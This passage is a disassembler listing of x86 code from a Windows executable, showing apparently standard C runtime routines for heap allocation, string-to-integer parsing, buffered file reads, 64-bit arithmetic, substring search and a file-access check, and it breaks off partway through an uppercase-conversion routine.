; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BCD proc near ; CODE XREF: sub_401E97+46p ; sub_401F0F+67p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_1C], eax push edi lea eax, [ebp+arg_C] push eax push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_418A1C add esp, 0Ch test esi, esi mov edi, eax jz short loc_416C1E dec [ebp+var_1C] js short loc_416C11 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_416C1E ; --------------------------------------------------------------------------- loc_416C11: ; CODE XREF: sub_416BCD+3Aj lea eax, [ebp+var_20] push eax push 0 call sub_418875 pop ecx pop ecx loc_416C1E: ; CODE XREF: sub_416BCD+35j ; sub_416BCD+42j mov eax, edi pop edi pop esi leave retn sub_416BCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C24 proc near ; CODE XREF: sub_401F83+19p ; sub_405D17+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_C] mov [ebp+var_1C], eax push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_418A1C add esp, 0Ch test esi, esi mov edi, eax jz short loc_416C74 dec [ebp+var_1C] js short loc_416C67 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_416C74 ; --------------------------------------------------------------------------- loc_416C67: ; CODE XREF: sub_416C24+39j lea eax, [ebp+var_20] push eax push 0 call sub_418875 pop ecx pop ecx loc_416C74: ; CODE XREF: sub_416C24+34j ; sub_416C24+41j mov eax, edi pop edi pop esi leave retn sub_416C24 endp ; =============== S U B R O U T I N E ======================================= sub_416C7A proc near ; CODE XREF: sub_416D02j ; sub_4202EF+36p arg_0 = dword ptr 4 push esi push edi call sub_4191CF mov edi, [eax+64h] cmp edi, off_4323FC jz short loc_416C93 call sub_419FFE mov edi, eax loc_416C93: ; CODE XREF: sub_416C7A+10j mov esi, [esp+8+arg_0] loc_416C97: ; CODE XREF: sub_416C7A+43j cmp dword ptr [edi+28h], 1 movzx eax, byte ptr [esi] jle short loc_416CAE push 8 push eax push edi call sub_419DFB add esp, 0Ch jmp short loc_416CB8 ; --------------------------------------------------------------------------- loc_416CAE: ; CODE XREF: sub_416C7A+24j mov ecx, [edi+48h] movzx eax, byte ptr [ecx+eax*2] and eax, 8 loc_416CB8: ; CODE XREF: sub_416C7A+32j test eax, eax jz short loc_416CBF inc esi jmp short loc_416C97 ; --------------------------------------------------------------------------- loc_416CBF: ; CODE XREF: sub_416C7A+40j movzx ecx, byte ptr [esi] inc esi cmp ecx, 2Dh mov edx, ecx jz short loc_416CCF cmp ecx, 2Bh jnz short loc_416CD3 loc_416CCF: ; CODE XREF: sub_416C7A+4Ej movzx ecx, byte ptr [esi] inc esi loc_416CD3: ; CODE XREF: sub_416C7A+53j xor eax, eax loc_416CD5: ; CODE XREF: sub_416C7A+7Cj cmp ecx, 30h jl short loc_416CE4 cmp ecx, 39h jg short loc_416CE4 sub ecx, 30h jmp short loc_416CE7 ; --------------------------------------------------------------------------- loc_416CE4: ; CODE XREF: sub_416C7A+5Ej ; sub_416C7A+63j or ecx, 0FFFFFFFFh loc_416CE7: ; CODE XREF: sub_416C7A+68j cmp ecx, 0FFFFFFFFh jz short loc_416CF8 lea eax, [eax+eax*4] lea eax, [ecx+eax*2] movzx ecx, byte ptr [esi] inc esi jmp short loc_416CD5 ; --------------------------------------------------------------------------- loc_416CF8: ; CODE XREF: sub_416C7A+70j cmp edx, 2Dh pop edi pop esi jnz short locret_416D01 neg eax locret_416D01: ; CODE XREF: sub_416C7A+83j retn sub_416C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416D02 proc near ; CODE XREF: sub_402021+63p ; sub_402B47+12p ... jmp sub_416C7A sub_416D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D07 proc near ; CODE XREF: sub_402402+1C2p ; sub_402402+1C8p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00416D63 SIZE 00000015 BYTES push 0Ch push offset stru_42BDD0 call __SEH_prolog mov esi, [ebp+arg_0] test esi, esi jz short loc_416D72 cmp dword_482984, 3 jnz short loc_416D63 push 4 call sub_41A1D6 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_41A24F pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_416D46 push esi push eax call sub_41A27A pop ecx pop ecx loc_416D46: ; CODE XREF: sub_416D07+34j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_416D5A cmp [ebp+var_1C], 0 jnz short loc_416D72 push [ebp+arg_0] jmp short loc_416D64 sub_416D07 endp ; =============== S U B R O U T I N E ======================================= sub_416D5A proc near ; CODE XREF: sub_416D07+43p ; DATA XREF: .text:stru_42BDD0o push 4 call sub_41A142 pop ecx retn sub_416D5A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_416D07 loc_416D63: ; CODE XREF: sub_416D07+1Aj push esi loc_416D64: ; CODE XREF: sub_416D07+51j push 0 push dword_482980 call dword_422058 ; RtlFreeHeap loc_416D72: ; CODE XREF: sub_416D07+11j ; sub_416D07+4Cj call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_416D07 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D78 proc near ; CODE XREF: sub_416DF3+Bp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_42BDE0 call __SEH_prolog mov esi, [ebp+arg_0] cmp dword_482984, 3 jnz short loc_416DBE cmp esi, dword_482970 ja short loc_416DBE push 4 call sub_41A1D6 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_41AA2E pop ecx mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_416DEA mov eax, [ebp+var_1C] test eax, eax jnz short loc_416DE1 loc_416DBE: ; CODE XREF: sub_416D78+16j ; sub_416D78+1Ej test esi, esi jnz short loc_416DC3 inc esi loc_416DC3: ; CODE XREF: sub_416D78+48j cmp dword_482984, 1 jz short loc_416DD2 add esi, 0Fh and esi, 0FFFFFFF0h loc_416DD2: ; CODE XREF: sub_416D78+52j push esi push 0 push dword_482980 call dword_42205C ; RtlAllocateHeap loc_416DE1: ; CODE XREF: sub_416D78+44j call __SEH_epilog retn sub_416D78 endp ; =============== S U B R O U T I N E ======================================= sub_416DE7 proc near ; DATA XREF: .text:stru_42BDE0o mov esi, [ebp+8] sub_416DE7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416DEA proc near ; CODE XREF: sub_416D78+3Ap push 4 call sub_41A142 pop ecx retn sub_416DEA endp ; =============== S U B R O U T I N E ======================================= sub_416DF3 proc near ; CODE XREF: sub_416E1F+Ap ; sub_4179EC+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_416E1C loc_416DFA: ; CODE XREF: sub_416DF3+27j push [esp+arg_0] call sub_416D78 test eax, eax pop ecx jnz short locret_416E1E cmp [esp+arg_4], eax jz short locret_416E1E push [esp+arg_0] call sub_41AD78 test eax, eax pop ecx jnz short loc_416DFA loc_416E1C: ; CODE XREF: sub_416DF3+5j xor eax, eax locret_416E1E: ; CODE XREF: sub_416DF3+13j ; sub_416DF3+19j retn sub_416DF3 endp ; =============== S U B R O U T I N E ======================================= sub_416E1F proc near ; CODE XREF: sub_402402+B1p ; sub_402402+C1p ... arg_0 = dword ptr 4 push dword_481334 push [esp+4+arg_0] call sub_416DF3 pop ecx pop ecx retn sub_416E1F endp ; =============== S U B R O U T I N E ======================================= sub_416E31 proc near ; CODE XREF: sub_416E7D+32p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh test byte ptr [esi+0Ch], 83h jz short loc_416E74 push esi call sub_41AEDC push esi mov edi, eax call sub_41AEB1 push dword ptr [esi+10h] call sub_41AE16 add esp, 0Ch test eax, eax jge short loc_416E62 or edi, 0FFFFFFFFh jmp short loc_416E74 ; --------------------------------------------------------------------------- loc_416E62: ; CODE XREF: sub_416E31+2Aj mov eax, [esi+1Ch] test eax, eax jz short loc_416E74 push eax call sub_416D07 and dword ptr [esi+1Ch], 0 pop ecx loc_416E74: ; CODE XREF: sub_416E31+Dj ; sub_416E31+2Fj ... and dword ptr [esi+0Ch], 0 mov eax, edi pop edi pop esi retn sub_416E31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E7D proc near ; CODE XREF: sub_404210+74p ; sub_405E13+B5p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_42BDF0 call __SEH_prolog or [ebp+var_1C], 0FFFFFFFFh mov esi, [ebp+arg_0] test byte ptr [esi+0Ch], 40h jz short loc_416EA3 and dword ptr [esi+0Ch], 0 loc_416E9A: ; CODE XREF: sub_416E7D+44j mov eax, [ebp+var_1C] call __SEH_epilog retn ; --------------------------------------------------------------------------- loc_416EA3: ; CODE XREF: sub_416E7D+17j push esi call sub_41B102 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_416E31 pop ecx mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_416EC6 jmp short loc_416E9A sub_416E7D endp ; =============== S U B R O U T I N E ======================================= sub_416EC3 proc near ; DATA XREF: .text:stru_42BDF0o mov esi, [ebp+8] sub_416EC3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416EC6 proc near ; CODE XREF: sub_416E7D+3Fp push esi call sub_41B154 pop ecx retn sub_416EC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ECE proc near ; CODE XREF: sub_416FB7+25p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] test edi, edi mov ecx, edi mov [ebp+var_8], edi mov [ebp+arg_0], ecx jnz short loc_416EF2 xor eax, eax jmp loc_416F9D ; --------------------------------------------------------------------------- loc_416EF2: ; CODE XREF: sub_416ECE+1Bj push esi mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_416F06 mov eax, [esi+18h] mov [ebp+var_4], eax jmp short loc_416F12 ; --------------------------------------------------------------------------- loc_416F06: ; CODE XREF: sub_416ECE+2Ej mov [ebp+var_4], 1000h jmp short loc_416F12 ; --------------------------------------------------------------------------- loc_416F0F: ; CODE XREF: sub_416ECE+C5j mov ecx, [ebp+arg_0] loc_416F12: ; CODE XREF: sub_416ECE+36j ; sub_416ECE+3Fj test word ptr [esi+0Ch], 10Ch jz short loc_416F44 mov eax, [esi+4] test eax, eax jz short loc_416F44 cmp ecx, eax mov edi, ecx jb short loc_416F29 mov edi, eax loc_416F29: ; CODE XREF: sub_416ECE+57j push edi push dword ptr [esi] push ebx call sub_41B500 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_8] jmp short loc_416F8F ; --------------------------------------------------------------------------- loc_416F44: ; CODE XREF: sub_416ECE+4Aj ; sub_416ECE+51j cmp ecx, [ebp+var_4] jb short loc_416F77 cmp [ebp+var_4], 0 mov eax, ecx jz short loc_416F5A xor edx, edx div [ebp+var_4] mov eax, ecx sub eax, edx loc_416F5A: ; CODE XREF: sub_416ECE+81j push eax push ebx push dword ptr [esi+10h] call sub_41B454 add esp, 0Ch test eax, eax jz short loc_416FA1 cmp eax, 0FFFFFFFFh jz short loc_416FB1 sub [ebp+arg_0], eax add ebx, eax jmp short loc_416F8F ; --------------------------------------------------------------------------- loc_416F77: ; CODE XREF: sub_416ECE+79j push esi call sub_41B1A6 cmp eax, 0FFFFFFFFh pop ecx jz short loc_416FA5 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+var_4], eax loc_416F8F: ; CODE XREF: sub_416ECE+74j ; sub_416ECE+A7j cmp [ebp+arg_0], 0 jnz loc_416F0F mov eax, [ebp+arg_8] loc_416F9C: ; CODE XREF: sub_416ECE+E1j pop esi loc_416F9D: ; CODE XREF: sub_416ECE+1Fj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_416FA1: ; CODE XREF: sub_416ECE+9Bj or dword ptr [esi+0Ch], 10h loc_416FA5: ; CODE XREF: sub_416ECE+B3j ; sub_416ECE+E7j mov eax, edi sub eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] jmp short loc_416F9C ; --------------------------------------------------------------------------- loc_416FB1: ; CODE XREF: sub_416ECE+A0j or dword ptr [esi+0Ch], 20h jmp short loc_416FA5 sub_416ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FB7 proc near ; CODE XREF: sub_404210+47p ; sub_41326A+2F2p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 0Ch push offset stru_42BE00 call __SEH_prolog push [ebp+arg_C] call sub_41B102 pop ecx and [ebp+ms_exc.disabled], 0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416ECE add esp, 10h mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_416FF9 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_416FB7 endp ; =============== S U B R O U T I N E ======================================= sub_416FF9 proc near ; CODE XREF: sub_416FB7+34p ; DATA XREF: .text:stru_42BE00o push dword ptr [ebp+14h] call sub_41B154 pop ecx retn sub_416FF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417003 proc near ; CODE XREF: sub_41D56C+34p ; sub_41D56C+49p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00417174 SIZE 0000003C BYTES push 14h push offset stru_42BE10 call __SEH_prolog mov edi, [ebp+arg_0] xor ebx, ebx cmp edi, ebx jnz short loc_417026 push [ebp+arg_4] call sub_416E1F pop ecx jmp loc_4171AA ; --------------------------------------------------------------------------- loc_417026: ; CODE XREF: sub_417003+13j mov esi, [ebp+arg_4] cmp esi, ebx jnz short loc_417039 push edi call sub_416D07 pop ecx jmp loc_4171A8 ; --------------------------------------------------------------------------- loc_417039: ; CODE XREF: sub_417003+28j cmp dword_482984, 3 jnz loc_417174 loc_417046: ; CODE XREF: sub_417003+158j mov [ebp+var_1C], ebx cmp esi, 0FFFFFFE0h ja loc_417143 push 4 call sub_41A1D6 pop ecx mov [ebp+ms_exc.disabled], ebx push edi call sub_41A24F pop ecx mov [ebp+var_20], eax cmp eax, ebx jz loc_417113 cmp esi, dword_482970 ja short loc_4170C3 push esi push edi push eax call sub_41A74F add esp, 0Ch test eax, eax jz short loc_41708B mov [ebp+var_1C], edi jmp short loc_4170C3 ; --------------------------------------------------------------------------- loc_41708B: ; CODE XREF: sub_417003+81j push esi call sub_41AA2E pop ecx mov [ebp+var_1C], eax cmp eax, ebx jz short loc_4170C3 mov eax, [edi-4] dec eax mov [ebp+var_24], eax cmp eax, esi jb short loc_4170A6 mov eax, esi loc_4170A6: ; CODE XREF: sub_417003+9Fj push eax push edi push [ebp+var_1C] call sub_41B500 push edi call sub_41A24F mov [ebp+var_20], eax push edi push eax call sub_41A27A add esp, 18h loc_4170C3: ; CODE XREF: sub_417003+72j ; sub_417003+86j ... cmp [ebp+var_1C], ebx jnz short loc_417113 cmp esi, ebx jnz short loc_4170D2 xor esi, esi inc esi mov [ebp+arg_4], esi loc_4170D2: ; CODE XREF: sub_417003+C7j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push ebx push dword_482980 call dword_42205C ; RtlAllocateHeap mov [ebp+var_1C], eax cmp eax, ebx jz short loc_417113 mov eax, [edi-4] dec eax mov [ebp+var_24], eax cmp eax, esi jb short loc_4170FD mov eax, esi loc_4170FD: ; CODE XREF: sub_417003+F6j push eax push edi push [ebp+var_1C] call sub_41B500 push edi push [ebp+var_20] call sub_41A27A add esp, 14h loc_417113: ; CODE XREF: sub_417003+66j ; sub_417003+C3j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41716B cmp [ebp+var_20], ebx jnz short loc_417143 cmp esi, ebx jnz short loc_417128 xor esi, esi inc esi loc_417128: ; CODE XREF: sub_417003+120j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push edi push ebx push dword_482980 call dword_42215C ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_417143: ; CODE XREF: sub_417003+49j ; sub_417003+11Cj mov eax, [ebp+var_1C] cmp eax, ebx jnz short loc_4171AA cmp dword_481334, ebx jz short loc_4171AA push esi call sub_41AD78 pop ecx test eax, eax jnz loc_417046 jmp short loc_4171A8 sub_417003 endp ; =============== S U B R O U T I N E ======================================= sub_417163 proc near ; DATA XREF: .text:stru_42BE10o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] sub_417163 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41716B proc near ; CODE XREF: sub_417003+114p push 4 call sub_41A142 pop ecx retn sub_41716B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417003 loc_417174: ; CODE XREF: sub_417003+3Dj ; sub_417003+1A3j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_417191 cmp esi, ebx jnz short loc_417182 xor esi, esi inc esi loc_417182: ; CODE XREF: sub_417003+17Aj push esi push edi push ebx push dword_482980 call dword_42215C ; RtlReAllocateHeap loc_417191: ; CODE XREF: sub_417003+176j cmp eax, ebx jnz short loc_4171AA cmp dword_481334, ebx jz short loc_4171AA push esi call sub_41AD78 pop ecx test eax, eax jnz short loc_417174 loc_4171A8: ; CODE XREF: sub_417003+31j ; sub_417003+15Ej xor eax, eax loc_4171AA: ; CODE XREF: sub_417003+1Ej ; sub_417003+145j ... call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_417003 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171B0 proc near ; CODE XREF: sub_41720C+Ap var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset stru_42BE20 call __SEH_prolog call sub_41BA2A mov [ebp+var_1C], eax test eax, eax jnz short loc_4171D7 call sub_41B9A5 mov dword ptr [eax], 18h xor eax, eax jmp short loc_4171FC ; --------------------------------------------------------------------------- loc_4171D7: ; CODE XREF: sub_4171B0+16j and [ebp+ms_exc.disabled], 0 push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41B83D add esp, 10h mov [ebp+var_20], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_417202 mov eax, [ebp+var_20] loc_4171FC: ; CODE XREF: sub_4171B0+25j call __SEH_epilog retn sub_4171B0 endp ; =============== S U B R O U T I N E ======================================= sub_417202 proc near ; CODE XREF: sub_4171B0+44p ; DATA XREF: .text:stru_42BE20o push dword ptr [ebp-1Ch] call sub_41B154 pop ecx retn sub_417202 endp ; =============== S U B R O U T I N E ======================================= sub_41720C proc near ; CODE XREF: sub_404210+2Ap ; sub_405E13+78p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_4171B0 add esp, 0Ch retn sub_41720C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417220 proc near ; CODE XREF: sub_402858+18Dp ; sub_41267A+114p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417239 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417239: ; CODE XREF: sub_417220+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417220 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417255 proc near ; CODE XREF: sub_41728Dp mov eax, offset sub_41BF0E mov off_432A48, eax mov off_432A4C, offset sub_41BB88 mov off_432A50, offset sub_41BBED mov off_432A54, offset sub_41BB4C mov off_432A58, offset sub_41BBD3 mov off_432A5C, eax retn sub_417255 endp ; =============== S U B R O U T I N E ======================================= sub_41728D proc near ; CODE XREF: sub_4182EB+9p ; DATA XREF: .text:off_432358o call sub_417255 call sub_41BFB1 mov dword_48117C, eax call sub_41BF5F fnclex retn sub_41728D endp ; =============== S U B R O U T I N E ======================================= sub_4172A4 proc near ; CODE XREF: sub_40318A+8p ; sub_415F00+FEp arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_4220A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_4172C4 call dword_422008 ; RtlGetLastWin32Error push eax call sub_41B9B7 pop ecx loc_4172C0: ; CODE XREF: sub_4172A4+41j or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4172C4: ; CODE XREF: sub_4172A4+Dj test al, 1 jz short loc_4172E7 test [esp+arg_4], 2 jz short loc_4172E7 call sub_41B9A5 mov dword ptr [eax], 0Dh call sub_41B9AE mov dword ptr [eax], 5 jmp short loc_4172C0 ; --------------------------------------------------------------------------- loc_4172E7: ; CODE XREF: sub_4172A4+22j ; sub_4172A4+29j xor eax, eax retn sub_4172A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4172F0 proc near ; CODE XREF: sub_4031A4+2Ap ; sub_418A1C+60Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov eax, [esp+4+arg_C] or eax, eax jnz short loc_417321 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+4+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+4+arg_8] mov ecx, eax mov eax, esi mul [esp+4+arg_8] add edx, ecx jmp short loc_417368 ; --------------------------------------------------------------------------- loc_417321: ; CODE XREF: sub_4172F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41732F: ; CODE XREF: sub_4172F0+49j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41732F div ebx mov esi, eax mul [esp+4+arg_C] mov ecx, eax mov eax, [esp+4+arg_8] mul esi add edx, ecx jb short loc_41735D cmp edx, [esp+4+arg_4] ja short loc_41735D jb short loc_417366 cmp eax, [esp+4+arg_0] jbe short loc_417366 loc_41735D: ; CODE XREF: sub_4172F0+5Dj ; sub_4172F0+63j dec esi sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_417366: ; CODE XREF: sub_4172F0+65j ; sub_4172F0+6Bj xor ebx, ebx loc_417368: ; CODE XREF: sub_4172F0+2Fj sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi pop esi retn 10h sub_4172F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417390 proc near ; CODE XREF: sub_4032A8+5Fp ; sub_4032A8+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_4173B1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_4173B1: ; CODE XREF: sub_417390+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_4173CD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_4173CD: ; CODE XREF: sub_417390+27j or eax, eax jnz short loc_4173E9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41742A ; --------------------------------------------------------------------------- loc_4173E9: ; CODE XREF: sub_417390+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4173F7: ; CODE XREF: sub_417390+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4173F7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_417425 cmp edx, [esp+0Ch+arg_4] ja short loc_417425 jb short loc_417426 cmp eax, [esp+0Ch+arg_0] jbe short loc_417426 loc_417425: ; CODE XREF: sub_417390+85j ; sub_417390+8Bj dec esi loc_417426: ; CODE XREF: sub_417390+8Dj ; sub_417390+93j xor edx, edx mov eax, esi loc_41742A: ; CODE XREF: sub_417390+57j dec edi jnz short loc_417434 neg edx neg eax sbb edx, 0 loc_417434: ; CODE XREF: sub_417390+9Bj pop ebx pop esi pop edi retn 10h sub_417390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417440 proc near ; CODE XREF: sub_403852+C6p ; sub_403852+133p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4174C0 mov dh, [ecx+1] test dh, dh jz short loc_4174AD loc_417458: ; CODE XREF: sub_417440+58j ; sub_417440+6Bj mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] add esi, 1 cmp al, dl jz short loc_41747E test al, al jz short loc_417478 loc_41746B: ; CODE XREF: sub_417440+36j mov al, [esi] add esi, 1 loc_417470: ; CODE XREF: sub_417440+45j cmp al, dl jz short loc_41747E test al, al jnz short loc_41746B loc_417478: ; CODE XREF: sub_417440+29j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41747E: ; CODE XREF: sub_417440+25j ; sub_417440+32j mov al, [esi] add esi, 1 cmp al, dh jnz short loc_417470 lea edi, [esi-1] loc_41748A: ; CODE XREF: sub_417440+69j mov ah, [ecx+2] test ah, ah jz short loc_4174B9 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417458 mov al, [ecx+3] test al, al jz short loc_4174B9 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41748A jmp short loc_417458 ; --------------------------------------------------------------------------- loc_4174AD: ; CODE XREF: sub_417440+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_417E86 ; --------------------------------------------------------------------------- loc_4174B9: ; CODE XREF: sub_417440+4Fj ; sub_417440+5Fj lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4174C0: ; CODE XREF: sub_417440+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417440 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174C6 proc near ; CODE XREF: sub_403852+BFp ; sub_403852+12Cp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 18h push offset stru_42BE30 call __SEH_prolog xor ebx, ebx mov [ebp+var_1C], ebx call sub_4191CF mov esi, [eax+64h] mov [ebp+var_20], esi cmp esi, off_4323FC jz short loc_4174F4 call sub_419FFE mov esi, eax mov [ebp+var_20], esi loc_4174F4: ; CODE XREF: sub_4174C6+22j mov eax, [esi+14h] cmp eax, ebx jnz short loc_417523 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz loc_4175D1 loc_417508: ; CODE XREF: sub_4174C6+56j mov cl, [edx] cmp cl, 61h jl short loc_417519 cmp cl, 7Ah jg short loc_417519 sub cl, 20h mov [edx], cl loc_417519: ; CODE XREF: sub_4174C6+47j ; 